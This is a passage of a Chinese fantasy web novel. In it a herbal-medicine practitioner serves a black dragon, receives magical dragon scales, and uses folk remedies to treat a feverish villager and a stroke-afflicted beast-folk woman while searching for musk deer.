张警官还挺开心，他一直觉得申姜那姑娘不像是个骗子，那姑娘的眼睛太亮了，压根就不像是一个混日子糊弄老百姓的黑心医生。
之前他们去查过山家药材店，里头的药有新有旧，但
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的确没有假药，他们也就不再关注这一块，毕竟这个可能性实在太小。
好在现在有了领导的支持，张警官终于可以狠盯山家药材店。几天后，山家药材店被破获了一大批假药，仓库就在药材店门面的三楼。连山老太都不知道这个地方，平时只有山国盛夫妻俩知道。
更令人吃惊的是，山国盛根本不知道他父亲吃的是店里的假药。假药材是山国盛的老婆林爱芳给公公配的，她亲口承认是因为公公经常嫌弃她生的是女儿，总怂恿丈夫离婚再娶一个老婆生儿子，她只是想报复公公，并没有想过要害人。
申姜要是知道这些，她会说：“知道假药为什么害人吗？因为它是假药啊。”
既发挥不了真正的药效，也无法与药方里的其他药物相生相克，最差的结果就是像病人山贵这样，直接把身体吃垮了。
不过申姜当然不知道这一切，她正在巨龙家门口卖力地采摘药材。
“你这种消极怠工的态度令我很不满意。”
背后冷不丁响起巨龙音量庞厚的疑问，申姜拔草的动作一僵，小心翼翼的讨好道：“戈得温大人有何指示？”
她每天都来这采药，一采就是好几个小时，勤劳程度堪比老黄牛，恶龙说话能不能讲点良心。
戈得温看着身下的人类，冷哼道：“上个月你来了一次，这个月你来了两次，就凭人类短短几十年的寿命，你觉得自己能帮伟大的戈得温除几次草？”
申姜一怔，她悄悄掏出手机瞥了眼：是2135年5月18号没错啊，她连续三天都来报道拔草，怎么听戈得温话里意思，这三次时间跨幅都快两个月了啊。他们的时差这么大的吗？？？
这误会大了！要是不解释清楚，恶龙会不会一口咬死她……
申姜神情一肃：“尊敬的戈得温大人，其实这段时间我都在为您挑选准信徒，如果能募集到一批像我这样虔诚又忠心的高质量信徒，想必为您清理杂草这项工作将有实质性的突破。”
“你在帮我找信徒？”戈得温不可思议的微微睁大了眼睛。
“是的，像您这样伟大的存在，我作为您首个人类信徒，有义务为您招募新信徒，将您的美名在……这片大陆上发扬光大。”
24.惊喜突至
戈德温的确没有想到，他的人类信徒竟然是因为这样的原因才会频繁无故消失。
“看来，这段时间你应该取得了不错的效果？”
面前的人类神出鬼没，手段神秘，令龙摸不清看不透，戈德温简直无法想象这人会给自己招来怎样的新信徒。
申姜一时词穷。
“请容我解释，”申姜微微叹气，“尊敬的巨龙大人，您是世间最伟大的存在，我必须为您挑选最忠诚最勤恳的信徒，绝不能对您有任何的不敬之意，更不能对您宝贵的宝藏们有所觊觎。作为您的第一个人类信徒，我绝不会放低门槛，让一些乌合之众玷污了这个神圣之地。
所以……目前能通过我考验的人，暂时还没有出现。”
戈德温深深看人类信徒一眼，“不错，你做的很好。没想到，你竟能考虑得如此周到。”
申姜在心里长舒一口气，好险好险。
望着巨龙满意离去的背影，申姜心想：也许她该从这里走出去看看这个充满未知的世界。
这座山上没有能救醒奶奶的麝香，如果她一直躲在这里采药，可能换来财富、可能换来自己的平安，却永远都不可能拿到麝香。
如果救不了奶奶，这一切对她来说毫无意义。
申姜正思索她该如何离开这去寻找麝香，就见不远处的天空一团银光越来越大，直至那光团的身躯渐渐清晰，竟然是一头和黑龙外貌有些相似的银色巨龙。
“瞧瞧，我发现了什么，一个可爱的人类女孩。”银龙收起翅膀，好整以暇地打量着背着背篓举着小锄头的人类，合身轻巧的衣服，顺滑光亮的乌发，就算是看到他突然降临也没有露出惊慌失措的模样，这个人类女孩是谁？
圣洁的银白色龙脸上，露出几分不敢置信的新奇。
申姜比他更加吃惊，面前的这头银龙未免太漂亮了！
只是换了一身皮肤，一黑一白两条龙站在一起的视觉效果却是天差地别。银龙通身散发着柔和莹润的白光，还有一双湛蓝色的通透眼眸，圣洁美好，简直令人移不开视线。再反观戈德温，仿佛要把人吸进那黑色的漩涡之中，邪恶感呼之欲出，根本不敢多看。
“你怎么来了？”戈得温没好气的问道，“别用那种恶心的眼神看她，不过是一个平平无奇的信徒，根本不值一提。”
“不值一提的信徒？我看不见得吧。”银龙周身的气场强大，眼神却十分温柔，“她在为你清理杂草？看来，你前段时间向我打听雅芙瑞斯是为了她。”
戈德温不喜欢这种莫名局促的氛围，银龙亲昵的揶揄令他感到十分别扭，他不耐烦的朝天空喷出一道橙红色的龙炎，“如果你只是路过，赶紧滚，你知道我没有闲聊的习惯。”
银龙善解人意的笑了笑，“我替凯兰来送婚礼请柬，下个月他将和和伊丽莎白公主举办婚礼仪式，你会去的对吗？”
申姜呼吸一滞：公主！
这里的恶龙还有抢劫公主的坏传统！？
看着面前两头巨龙庞大的身躯，她默默在心里为那位娇贵的公主点了颗蜡烛。
她现在自身难保，实在爱莫能助，希望那位伊丽莎白公主能在巨龙的手上少受点苦。
突然，申姜觉得空气微微有些安静，就见那两头巨龙都在盯着自己。
戈德温：“你那是什么表情？？”
申姜紧急摇头：“没有没有，尊敬的戈得温大人，我只是有些羡慕那位公主，竟然能以伴侣的身份陪在那位凯兰大人的身边。”
戈德温的脸色瞬时古怪起来，银龙忍着笑意开口：“没想到这个可爱的人类竟是这么有趣的性格，戈德温，我终于明白为什么你会让她留下。”
戈德温想骂人，但他深知说的越多暴露的越多，面对这位心思曲折弯绕的同族，他时刻保持着警惕心。戈德温闭上嘴，只恶狠狠瞪了申姜一眼，申姜被他凶狠的眼神震慑住，不由瑟缩了一下。
瞧瞧，又是这幅没出息的样子，她明明有一张最大的底牌，却仍旧胆小如鼠，戈德温实在没好气。
“戈德温，我想凯兰应该会很欢迎你带上这个可爱的人类。”
银龙对着申姜眨了眨眼睛。“初次见面，我是佩林，很高兴能认识一位如此可爱的人类小姐。”
申姜虽然不喜欢他们抢夺公主的强盗行径，可她还是被银龙那个眨眼萌到了。
啊啊啊，这样美丽的生物突然俏皮起来，简直戳中了她萌点。
“你好，我叫申姜。”
戈德温挪了挪身体，将人类挡在身后，眼神不善的看着银龙，似乎在说你怎么还不滚。
银龙发出爽朗的大笑，“戈德温，难得看到你有这样的一面，这趟我可真是来对了。请务必带她一起来参加婚礼。”
戈德温再也无法忍耐，一个滚滚燃烧的火球从他的口中喷出对着银龙的方向而去，申姜眼睁睁看着银龙在即将被火球击中的前一瞬，突然凭空消失，震惊得嘴都张大了。
突然，她察觉到手里多出来一片厚实的片状物，手感奇特，摸起来细腻柔滑，颜色和银龙身上的鳞片如出一撤。
这是，银龙给她的……见面礼吗？
戈德温的眼睛里冒出怒火，该死的银龙，竟敢命令他，要不要带上这个人类是他该考虑的事，哪里轮得到他来指手画脚。
以信徒对他的崇拜程度，到时候肯定会死缠烂打求他骚扰他，逼他带着她去参加凯兰的婚礼。
银龙根本不知道她有多么缠龙。
戈得温对着空气喷了几个龙炎，试图驱散银龙在这留下的魔法气息。
可他总能感受到一股若有似无的空间魔法气息，难道银龙其实并没有走？
戈得温打量身边所有可能隐匿的地点，就见到自己信徒正将一块银白色的龙鳞收起。
只有龙自愿赐予的龙鳞，才会因为祝力散发出龙独有魔法属性的能量。
难怪他始终找不到这未消散的空间魔法气息，原来是忽略了她。
申姜随手就把手里那片银色龙鳞放进了上衣的口袋，把自己的鳞片送她玩，当她是小朋友吗？这东
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西虽然很漂亮，但她早就过了小女孩爱收集的年纪。
她完全把这块龙鳞当作是一块漂亮而不失礼貌的小礼物。
“那家伙倒是大方，第一次见面就送你这么贵重的礼物，看来他挺喜欢你啊。”黑龙意味深长的看向自己的信徒。
申姜有些迷糊，龙身上的鳞片不能轻易送人的吗？其实她也没有很稀罕来着……等一下，她怎么觉得戈得温说话的语气怪酸的？
也许对龙来说，同类的鳞片还真有什么特殊意义。
又或许，黑龙戈德温可能对那头漂亮的银龙存在某种不为人知的隐秘情愫。
申姜毫不犹豫从口袋里掏出那片龙鳞，双手奉上，“大人要是喜欢这块龙鳞，我愿意将它献给您。”
见人类一副不似作伪的着急表现，戈德温倒是不由对她有些刮目相看。这可不是普通的鳞片，银龙掌握着穿越时空的特殊魔法，带有银龙魔法能量的鳞片，自然也有类似的功能，比如能让拥有者去任何想去的地方。当然，这样一片龙鳞仅有3次使用机会。
听说人类也制作出了具有地点传送功能的魔法卷轴，不过，那些粗制滥造的货色根本不能和银龙的龙鳞相比。
他的信徒，倒是大方。这样的宝贝，眼睛都不眨就肯掏出来献给他。
但他才不要沾有其他龙气息的东西，龙鳞这玩意，他自己就有，要多少有多少。
而且他的龙鳞可比银龙那家伙的好用百倍，龙炎在一片龙鳞中按量储存不限次数。
果不其然，他的信徒在看到手里的另一片黑色龙鳞后，微微张大了嘴，一副受宠若惊的模样。
戈德温忍不住想，她果然更想要他的龙鳞，所以龙鳞不重要，谁给的才是最重要。
巨龙身后的尾巴再次轻轻甩动，戈德温试图让自己表现得风淡风轻。
他的信徒实在太过痴迷崇拜他，对于他的恩泽很难不激动。既然改变不了她，那就只能自己勉强适应了。
申姜表面一个超级惊喜的：“哇哦。”
实际上正在心里默默吐槽，这些龙一个个龙穴里堆满了财宝，送起礼却这么抠门。送一块鳞片，这和送人一根头发或是指甲有什么区别吗？
“看来，你更喜欢我送你的龙鳞。”戈德温颇为得意地得出结论。
申姜敷衍道：“当然，您对我来说，是与众不同的。”
戈德温鬼使神差地问出一句：“你是不是不知道龙鳞的作用？”
果然，人类露出迷茫的神色，仿佛在说：啊？龙鳞还能有什么用处？
戈德温有些无语，但还是耐着性子给这个无知的家伙简单科普了两片龙鳞的作用告诉了人类。
只见信徒的双眸蹭的一下亮了，那种光彩他十分熟悉，之前，她第一次去清理杂草时，就是这样惊喜不作伪的表现。而她此刻的目光，频频在银龙的鳞片上流连。
戈德温缓慢地扬起一个若有似无的危险微笑，低下头在申姜耳边恶魔低语：
“两片鳞片只能留一片，告诉我，你会选哪个？”
25.哭泣少女
申姜一怔，抬起头呆呆的看着戈德温，没说话，似乎想从黑龙硕大的金色眼睛中看清他是不是在跟自己开玩笑。
他简直是一条残忍又顽劣的黑龙，为什么，在告诉她这样惊喜的消息后，又要亲手打碎它？
戈德温看出她的犹豫，不由挑眉：“这个问题需要时间思考？”
听出他语气中的不耐，申姜连忙摇头：“我当然想留下您的黑鳞永久珍藏，我做梦都会因为您的慷慨而笑醒。可它实在太珍贵了，身怀宝藏容易招人眼红。还是这个普普通通的银龙鳞片更适合我。”
戈德温：“因为我的鳞片更珍贵，所以你要银龙的鳞片？”
这是什么人才能想出的逻辑？她没事吧？
申姜煞有其事的点点头：“是的，这片龙鳞还是放在您那更为稳妥。否则万一我出门时遇到小偷或强盗，弄丢了我会难过死。”
她看着手里的银龙鳞，忍不住吞咽口水，“这个就不同了，它只是一个普通的魔法道具，没有了您的附加意义，我用起来一点都不心疼，而且就3次，很快就用完了。”
戈德温：……搬起石头砸自己的脚，原来是这种感觉。
这个人类到底是怎么回事，他龙穴里那么多财宝她不贪，偏喜欢这些普通的杂草；他强大的黑龙鳞她也不舍得用，只敢对银龙鳞露出垂涎的眼神。
越是珍惜她越不敢碰。戈德温敢断定，这个人类这辈子眼光最好的一次，就是坚定不移地选择成为他的信徒。
“虽然我的龙鳞很珍贵，但偶尔用一次并不会让它失效。而且一般的魔法师根本不是它的对手，你只需要在心里默念我的名字，就能使用它击退敌人。”
奇怪，为什么他还得反过来推荐自己的龙鳞。
申姜恍然大悟，举起大拇指，“不愧是您！”
“行了，这两片龙鳞我都可以给你，但有一个条件。”
申姜不由捏紧了手心。
“想都不要想我会带你去参加红龙凯兰的婚礼。”
申姜眨了眨眼睛，万万没想到竟然是这个条件，她连忙用力点头：“虽然我十分想去参加，但我要忙着清理这些草药，还要为您物色新信徒，实在分身乏术，真是太遗憾了。”
事实上，她本来就没想过要去参加银龙口中的婚礼，一来她每次来这个世界的时间跨度太大，也许婚礼那天她并不在这里，二来，她根本不想参加一条龙和一个人的婚礼好吗。她怕她忍不住想帮那位身份尊贵却命途多舛的可怜公主逃出龙的魔爪。
申姜看了眼天空，太阳已经慢慢开始落下，再过几个小时她就得回去了。
刚刚那只银龙叫什么来着，申姜想起他和自己打招呼时说过的话，对，他说他叫佩林。
申姜将今天采摘的草药收拾妥当，只带了一把镰刀和两片龙鳞，按照戈德温的教导，将银龙龙鳞贴近心脏，同时在心中默念：“尊敬的银龙佩林阁下，请送我前往有林麝生活的地方吧，最好一睁眼就能看到一头水灵灵的林麝出现在我面前。”
为了防止银龙不认识林麝，申姜尽力在脑海中补足林麝的模样。
平地刮起一股小气流，螺旋向上，渐渐变成类似小型龙卷风，将申姜的身体裹在其中，等这股旋转的气流消失，人类的身影也消失在原地。
感受到突然出现空间魔法的波动，戈德温懒洋洋地抬了抬眼皮。
他的信徒可真是心急，毫不犹豫就用掉了一次银龙龙鳞的使用机会，看来她的确不在意那片银龙给的鳞片。
申姜站在风眼之中，连发丝都没有被吹乱分毫，一睁眼就被投送到一个陌生的地方。
她正站在一片野草地里，这里没有一点林麝的踪影，倒是有个奇怪的人类。
申姜很难不注意到这位失声痛哭的少女，深色的马甲包裹住白色衬衫勾勒出她饱满的上半身，亚麻棕的头发被编成三股辫盘在脑后，光看背影就能看出这是一个漂亮健康的异域美女。
听她的哭声洪亮，不像是生了病，申姜放下心来，从背篓里找出一张提前打印好的林麝照片。
“你好，请问你见过这个吗？”
凯瑟琳泪眼婆娑的抬起头，就见到面前出现了一个打扮奇特的外乡人。最可怕的是她的头发和眼睛，乌黑发亮，仿佛看不见底的深渊。而她此刻正拿着一把小型镰刀，不怀好意的看着自己。
黑女巫！传说中比恶魔还要邪恶数倍的存在！
“你……你想干什么？”顾不上继续哭，凯瑟琳提防地注视着来人，余光开始寻找周围能用得上的家伙什。
可惜，这里连根树枝都没有。
“……女士，我对您没有恶意，我只是在找它，一只可爱的小林麝。”
申姜指了指图片上栩栩如生的林麝，试图让她相信自己。
凯瑟琳摇摇头，眼泪不自觉流出来：“我不知道……抱歉。”
听说黑女巫脾气古怪，心肠恶毒，喜欢进行暗黑的魔法实验，包括用漂亮女人的眼睛和小孩的心脏制作药剂。
她可能会死在距离村子仅有一公里的野草地中，直到第二天才被人发现尸体。不行，她得想办法活下来。
“也许，我爸爸会知道，”凯瑟琳迫不及待道，“他是个老猎人！曾经只身去过迷雾森林的外围打猎！对，他一定知道，不如我带您去找他吧。”
申姜看着她突然转变的情绪，只觉得奇怪，不置可否的抽回手，“不用了，我没有跟陌生人回家的习惯。”
凯瑟琳一噎，没止住哭泣，反倒开始抽嗝，并且没完没了起来。
她连忙捂住嘴，生怕引起面前黑女巫的不满。可越是这样，打嗝声反倒越大。
果然，黑女巫皱着眉动手了。
凯瑟琳来不及躲，就被黑女巫抓住了右手，她试图把自己的手抽回来，反倒被人更用力地拽出一大截。
凯瑟琳眼底闪过绝望，黑女巫是打算要砍下她的右手吗？
申姜哪里知道她脑海中那些可怕的幻想，她把镰刀放到背后的篓里，伸手给人揉了揉内关穴，直到惊疑不定的少女终于在她的按揉下停止了抽嗝。
凯瑟琳瞪大了眼睛，不知道自己是怎么停止打嗝的，谢天谢地，这恼人的噪音终于消失了。
看着自己毫发无伤的手腕，还有转身离开的黑女巫，少女脸上写满了不可思议的错愕。
她竟然能从黑女巫手里毫发无损的活下来？
也许，她根本不是黑女巫。
申姜没再管这个奇怪的当地女孩，打算先进不远处的那片森林看看。
眼看那个奇特的黑发女人朝
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着森林方向走去，凯瑟琳迟疑了片刻，终于忍不住道：“不要独自进去，那里很危险。”
申姜回头，凯瑟琳补充道：“里面的地形很复杂，就算是魔法师大人独自进去都很容易吃亏。我爸爸在里面打了几十年猎，如果您要寻找的东西在森林里，他肯定看见过。”
申姜想了想，走回她身边，“我的时间有限，快带我去找他。”
路上，申姜终于知道了少女一个人独自在这里哭泣的原因。
凯瑟琳的妈妈病了好几天，就快要死了。
“妈妈她本来好好的，一周前……她突然浑身发烫，整个人昏昏沉沉下不了床，今天早上，她连睁开眼睛都做不到。这一切都要怪我！是我为她招来了恶魔的诅咒！”凯瑟琳突然激动起来，整个人陷入深深的自责之中。
明明是高热持续不退，怎么就跟被恶魔诅咒扯上关系了？
上学时她学过西方医学发展史，直到19世纪，西方的医学才堪堪开始正式发展，那之前简直就是医学胡闹，人们生病只能靠熬，熬不过去就只能等死。而他们将那些可怕的病痛，统统归因于恶魔的诅咒。
西医和中医就像一条线上的两端，在某个时期交错，而后，西医以质的速度完成飞跃成为主流，中医却逐渐落没。
申姜用脚趾想也知道这里肯定没有完善的医疗体系，别说精湛的外科手术，就连发烧都能死人，还能指望什么。
申姜不由加快了步伐，“跑起来，快点，带我去看看病人的情况。”
距离太阳下山最多还有一个小时，不抓紧时间，她肯定来不及给凯瑟琳的妈妈看病。
巨龙说过这两个月她只清理了三次草，说明两个世界的时间流速完全不一样。她那个世界一天，这里至少得过去大半个月，凯瑟琳的妈妈肯定撑不到她下次来。
凯瑟琳不明所以地跟着小跑起来，她带着陌生女孩走的是一条僻静小路，好在如她所愿，一路都没有遇到村子里的人。
推开自家木屋的房门，躺在床上奄奄一息的妈妈面色仍旧潮红，让凯瑟琳不敢多看一眼。
跪坐在床边正在给妈妈喂水的少女，听到声响转过身来，看清姐姐身后人的长相，莉娜立刻尖声叫起来：“你竟然敢带一个黑发黑眸的女人回家，你是疯了吗！害了妈妈还不够，你想把这个家都毁了吗！”
身躯如棕熊般庞大的男人在屋子的另一头，注意到这边的动静，他微微皱起眉，不动声色的朝着放着弓箭的墙边靠近。
凯瑟琳嘴唇嗫嚅，想为自己的行为做出解释，可她什么都说不出来。
妹妹看她的眼神仿佛看一个仇人，还有爸爸，他那不理解中带着微微失望的眼神，深深刺痛了凯瑟琳的心。
申姜迈出一步，举起手，手上适时闪起一撮小火苗。
“听我说，现在不是你们解决家庭纠纷的时间，赶紧让开！让我看看她还有没有得救。”
果然，那个棕熊般的强壮男人被震慑住，伸向弓箭的手缩了回去。
莉娜看着那团散发着夺人气息的火球，瞬间噤声，只恶狠狠朝姐姐投去怨恨的目光。
凯瑟琳一定是被恶魔蛊惑，竟然敢把这样一位魔力强大的黑女巫给招到家里来。
今天，她们都会死在这个黑女巫的手里。
26.勇敢的凯瑟琳
根据凯瑟琳路上的解释，申姜知道这个世界并不是像她想象的没有一点医学体系，这里的医疗主要靠魔法师制作的魔法药水，比如恢复体力、止血这种，还有就是光明法师的治愈魔法，可以借助光明神的力量治愈一切病痛。
当然，这是贵族才能享有的待遇，像她们这样的普通平民，根本支付不起昂贵的治疗费用，不舒服就只能熬着。
申姜给躺在床上的女人诊脉，同时观察着她的症状。
这一幕，落到莉娜的眼里，就成了黑女巫正在打量她第一个要下手的实验品。她看向凯瑟琳，发现凯瑟琳的目光中有担心、愧疚、不忍，却并没有害怕。
莉娜几乎可以断定，凯瑟琳一定是和黑女巫达成了某种一致，说不定她正是为了自己能活命，才故意把可怕的黑女巫引到了家中。
黑女巫开始动手了。
看到她粗暴地强行撬开妈妈紧闭的嘴唇，莉娜几乎目眦欲裂，她是打算割下妈妈的舌头吗？
“不！”莉娜尖声道，“如果您需要一个试验品，我愿意用我的生命换取妈妈的平安。请您放过她吧。”
申姜突然被人打断看诊十分不快，但听清莉娜的话后她有些哭笑不得，“凯瑟琳，带她去厨房烧热水，立刻、马上！别在这打扰我看病。”
凯瑟琳只犹豫了一秒，就果断拉着妹妹去了厨房。虽然申姜外表可爱，让人倍感亲切，可当那张脸沉下来说话时，脸上的镇定却莫名令人信服。更何况，她掌握着强大的火系魔法，凯瑟琳不想惹她不快。
凯瑟琳拉起妹妹就朝厨房走去，她小声安慰道：“莉娜，别担心，那是个会用草药救人的好心女巫，不是黑女巫。”
莉娜根本就不相信她的话，冷笑道：“我美丽却愚蠢的姐姐，也只有你才会相信这种骗人的鬼话。该不会是因为她说能治好妈妈的诅咒，所以你就把她带回了家？”
凯瑟琳看到妹妹那副不相信的模样，知道自己很难说服她，她们的关系早在妈妈生病那天开始就不复从前了，妹妹一直认为是她的错害了妈妈被恶魔诅咒。
凯瑟琳蹲下来生火：“如果可以，我情愿替妈妈去死。”
莉娜一怔，看着闷不作声的姐姐，心想：也许直到亲眼看到这个家毁了，她的姐姐才会知道什么叫后悔。
申姜冲进厨房的时候，水正好烧开，申姜从背篓里掏出今天现采的麻黄丢了进去，等水开去掉上沫，再放入甘草和杏仁等药材。
亲眼见证黑女巫从自己家的锅里炼制出黑漆漆的药剂，莉娜的脸都绿了。
申姜把盛了药的碗递给凯瑟琳，让她赶紧喂她妈妈服下，“除了我，这里没有第二个人能救她。快去吧。”
眼瞧着姐姐要把药剂喂给妈妈，莉娜简直快疯了：“你不是说要替妈妈去死吗？你为什么不替她喝这个可怕的毒药。你快住手！”
凯瑟琳端着药碗的手不自觉抖了一下，被妹妹这声喝止吓到，她一瞬不瞬的盯着妹妹莉娜的眼睛，当着她的面毅然喝下了第一口漆黑苦涩的药液。
莉娜呆呆看着她，发现她并没有任何异样，终于没有再制止她给妈妈喂药。
申姜只当没有听见两人的对话，开始打量起面前的四口之家。
小木屋里很温馨，看得出平时被人爱护得很好，只是因为女主人的生病多了几分凌乱。
此刻，没有武器庇佑的男主人正听话地站在角落。
“我救了你妻子，也算是你的救命恩人，”申姜从背后的背篓里掏出那张打印了林麝图片的纸，递给在角落里一言不发的颓丧男人，“你见过图片上的这个吗？”
凯瑟琳的父亲诧异地抬起头，正好对上申姜手里的纸，看清上头的图案后，他不由愣住了。
他从未见过如此栩栩如生的画作，上面的动物清晰到他根本不可能认错。油光水亮的短毛皮覆盖在健硕有力的四肢上，黑黝黝的大眼睛占据了巴掌大的脸，还有那对醒目的大圆耳。
“这是迷雾森林里的大耳鹿！”
申姜没听过他口中的动物，不由再次确认：“你看清楚，是长一样没错吧？！”
“当然，我可是一名经验丰富的老猎人。”男人沧桑的眼睛里透出一股自豪，这让他忍不住挺起了胸膛。
“妈妈！”
申姜的话被不远处那道惊呼声打断，男人的目光不由看向床榻上的妻子。
突然，他瞳孔一缩。已经昏迷了两天的妻子竟然睁开了眼睛，鼻尖上正沁出汗珠。
她哑着嗓子呻吟起来：“饿，我好饿。”
莉娜和凯瑟琳两人一起冲去厨房找吃的，凯瑟琳拿着一块黑面包回来后，撕下一小片往妈妈的嘴巴里塞。
申姜挑眉：“等一下！”
凯瑟琳要对她的病人做什么？喂一块堪比铁块的硬面包？
她没事吧！
凯瑟琳听到女巫的话几乎立刻就停了下来，不解的看向申姜。
申姜：“你们就没有些清淡好消化的食物吗？你妈妈她好几天没吃饭了，她嗓子和胃都受不了这么硬的食物。”
凯瑟琳：“清淡好消化？您是说软和的食物吗？”
申姜向她投去赞赏的目光：“是的，最好带点汤水，病人发汗后需要及时补充水分。等你妈妈把汗发完，她的烧就会退下去。”
莉娜原本还不肯相信姐姐找来的女巫真的能救妈妈，可当妈妈呼唤她的名字时，眼泪却不争气的掉了下来。她跪在妈妈的床边，忍不住抱住妈妈小声啜泣起来，妈妈身上灼热的温度正在不可思议地渐渐退去。。
“妈妈！你感觉怎么样？”
申姜看着一家人相拥喜极而泣的画面，心里不由闪过稍许暖意。
如果能让奶奶再摸摸她的头，叫一声她的名字，她可能会哭得比莉娜更加大声。
毫无负担的接受了凯瑟琳一家人的感恩戴德后，申姜再次把重点放到林麝身上。
“听凯瑟琳说你经常进出迷雾森林打猎，我需要一头你说的大耳鹿，雄性，要是你能帮我猎来，我愿意支付额外的报酬。”
凯瑟琳的父亲避开她的目光，羞愧难当地低下了头：“尊敬的女巫阁下，我十分愿意为您效劳。但是抱歉，这是平民禁止猎取的魔法生物，只有贵族老爷、魔法学院的学生还有教会的骑士团才有资格猎取。我只能在迷雾森林猎取一些普通的野兽。”
申姜有些诧异，之前她看中的草药对巨龙来说都是没有魔法能量的普通植物，她想当然的以为林麝在这里也只是普通动物。
没想到，这里的林麝竟然是珍贵的魔法动物，普通人根本没有资格猎取。
申姜从窗外看了眼天色，太阳离山头就只有一个手指的距离，按照之前的规律，在夜幕四合之前，她就会被金色大门传送回自己的世界。
“听我说
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，看到这个香腺囊没有，”她指着林麝脐部和生殖器之间的囊袋快速道，“我可以不猎取它，只需要找到大耳鹿，然后从这里挤出我需要的东西，你只需要带我找到大耳鹿，别的什么都不用做。”
老猎人面露迟疑，显然，他十分挣扎：“马上就要晚上了，不如等明天天亮再说吧。”
面前的女人救了他的妻子，为了报恩他理应冒险，如果没人发现这个大胆的办法倒是可行，可倘若被人撞见……
“来不及了，要么你帮我画一张迷雾森林的地图，我自己进去找。”
申姜内心焦灼，竭力让自己平静下来，而不是挟恩要求这个胡子拉碴略显沧桑的老猎人。这个家里除了他，就只剩下生病的妻子还有两个美丽的女儿，她大概能猜到他在顾虑什么。
“不行，迷雾森林的地形太复杂了，地图很难画清楚，第一次进去如果没有人带很容易出事。”
凯瑟琳不懂父亲为什么迟迟不肯答应，女巫的要求并不过分，她忍不住道：“我带您去找别人吧，他对迷雾森林也十分熟悉！”
“凯瑟琳！”老猎人厉声喝止她，“你忘了答应过我们，再也不见那个该死的兽人！”
凯瑟琳避开他的目光，小声道：“可是，女巫她救活了妈妈，说不定她也能救埃利斯的妈妈。”
申姜没有迟疑，径直推开门走了出去，在木屋外对凯瑟琳歪了下头，示意她赶紧出来带路。
凯瑟琳擦了擦手，开始解下身上的围裙，让妹妹注意厨房里熬着的土豆浓汤。
“要是你敢踏出这个门，从此以后，我就当没有你这个女儿。”老猎人怒不可遏的吼道，“我不准你去见他。”
回应他的，只有两道被拉长的人影。
老猎人浑浊的眼睛迸发出熊熊怒火，他想把大女儿追回来。莉娜抱住了父亲，轻声道：“爸爸，凯瑟琳没有害死妈妈，她救了妈妈。也许我们错怪了她。”
凯瑟琳这回轻车熟路的小跑起来，“女巫大人，请往这边来。我的朋友他有些特殊，但他为人十分善良热心，请您尽管放心。”
她的眼睛闪耀着前所未有的激动，就连步伐都轻快了许多。
申姜苦笑，看来今天她注定空手而回了，不如去看看凯瑟琳口中另一个病人的情况吧。
顺着她们之前走过的路，路过野草地后，顺着一条两边长满了浓茂灌木的小径，一幢孤零零的小木屋赫然在眼前。
这里远离村子，离迷雾森林更近，一个人影也没有。
“到了，这就是我跟您提过的埃利斯的家。他妈妈的症状比我妈妈要严重很多，要是您肯施以援手，就算救不了他妈妈，我想埃利斯也会乐意为您引路的。”她顿了顿，才急促的敲响埃利斯家的木门。
木屋的门从里推开，屋内的人见到门外的少女显然很欣喜。
“凯瑟琳，你怎么会过来？”
申姜看到屋内的人，脸上闪过一秒的震惊。
倒不是因为面前这个高大的男人有一双很漂亮的湿漉漉眼睛，也不是他金色短翘的头发十分浓密，有一种毛茸茸的即视感，而是因为他因为激动，头顶不自觉竖立起来的熊耳朵，存在感太强，根本无法忽视。
这就是老猎人口中那个该死的兽人吗？没人提过他长得这么帅气可爱啊。
要是把他放到自己那个世界，光靠这颜值就可以吸引到大一片女孩子吧。
27.兽人埃利斯
埃利斯几乎是下意识就将凯瑟琳拉到身后，身体呈防御状，目光警惕地看向面前的不速之客：一位打扮奇异的黑女巫。
看着他们两个亲呢又自然的举动，申姜顿时明白了为什么老猎人大发雷霆不让凯瑟琳出门，感情是不肯让女儿来见前男友啊。
一想到凯瑟琳路上对这位兽人先生毫不遮掩的欣赏与肯定，申姜有些疑惑他们为什么会分开。
毕竟，面前的兽人先生看起来同样十分在意凯瑟琳。
凯瑟琳从埃利斯的背后探出脑袋：“埃利斯，不要对女巫大人无礼，这位了不起的女巫大人时间宝贵，是我请她来为你妈妈看病的，你快让开。”
埃利斯看向门外女巫的目光更加忌惮，原以为凯瑟琳这会带着一个黑女巫过来是因为被威胁想向他寻求帮助，但他万万没想到，凯瑟琳竟然是被黑女巫拙劣的借口骗过来的。黑女巫是这个世界上最邪恶最阴暗的存在，怎么可能会为他的妈妈治病。
能被这种不靠谱的鬼话欺骗的，也就只有天真可爱善良单纯的凯瑟琳了。
见兽人听完小女友的话，不仅没有放松下来，脊背反而弓起，手臂上的肌肉都在蓄力，申姜叹了口气。
这会可没时间走说服流程了，等她离开后，凯瑟琳有的是时间和小男友聊天解释。申姜故技重施，指尖亮起一团明亮的小火苗，膨的一下，火苗膨胀成一个火球，震得埃利斯后退一步。
刚才他要是还在原地，火光可能已经把他的头发烧成了焦黑。
申姜站在门口，手上的小火苗已经重新变成小小一团，她礼貌问道：“现在我能进去看看病人了吗？”
埃利斯沉着脸一言不发，凯瑟琳却十分高兴地挤开僵硬的男人为申姜带路：“请进，女巫大人，埃利斯的妈妈塞西莉亚就住在这个房间。”
这是个和凯瑟琳家温馨的风格截然不同的房子，倒不是说这里有多阴暗压抑，而是这个家家徒四壁，简直将极简风格应用到了极致。
申姜跟着凯瑟琳，大步迈入那个采光最好的房间，就见到里面还有一个更可爱的兽人女孩，纯白的尖耳朵软趴趴的垂在头发两侧，此刻，她正一脸焦急的看着床上的妈妈咳得撕心裂肺却束手无策，只能轻缓的拍着妈妈的背安抚她。
凯瑟琳来之前就给她打过预防针，信誓旦旦的向她保证这个病人曾是个极善良温柔的人，生病后也从未伤害过任何人，请她千万不要因为病人看起来有些吓人的外表就放弃治疗。
申姜一眼就看出来了面前的女人是因为中风才会这样。
躺在床上的女人形容枯槁，左手完全不听使唤，只能举起右手压住自己的胸口，原本眼歪嘴斜的五官随着痛苦的咳嗽更加骇人，看得出来，她痛苦极了，仿佛要把肺给咳出来。
申姜径直过去，挤开笨拙的兽人女孩，很是熟练地借着力扶起床上的女人，蜷起手指，用空心的手掌拍向女人的腰部，从下往上拍到背部，重复几次之后，女人的咳嗽更加大声。
埃利斯阴测测的站在房间门口终于无法忍耐，正想发作，却发现妈妈在女巫古怪的手法下竟然异常顺利的咳出一口黄色的浓痰，妈妈的脸上更是罕见地露出了放松的神色。
以往他和妹妹也试过给妈妈拍背，可妈妈每次只会咳得更加撕心裂肺，整个人犹如被恶魔附身般。根本不可能先现在这样，这么快就神态安详地躺下来。
埃利斯狐疑地看向黑女巫，似乎想知道她究竟是怎么做到的，这会是巧合吗。
